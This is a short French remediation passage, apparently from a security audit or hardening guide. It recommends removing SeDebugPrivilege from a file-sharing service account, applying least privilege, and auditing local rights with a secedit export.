Retirer SeDebugPrivilege du compte de service. Ce privilège est réservé aux outils de débogage légitimes et n'a aucune justification dans un service de partage de fichiers réseau. Isoler le service dans un compte dédié avec des droits strictement minimaux, sans appartenance au groupe Administrateurs locaux. Auditer régulièrement les politiques de droits locaux avec :

```
secedit /export /cfg C:\audit_privileges.cfg  
# Inspecter la section [Privilege Rights]
```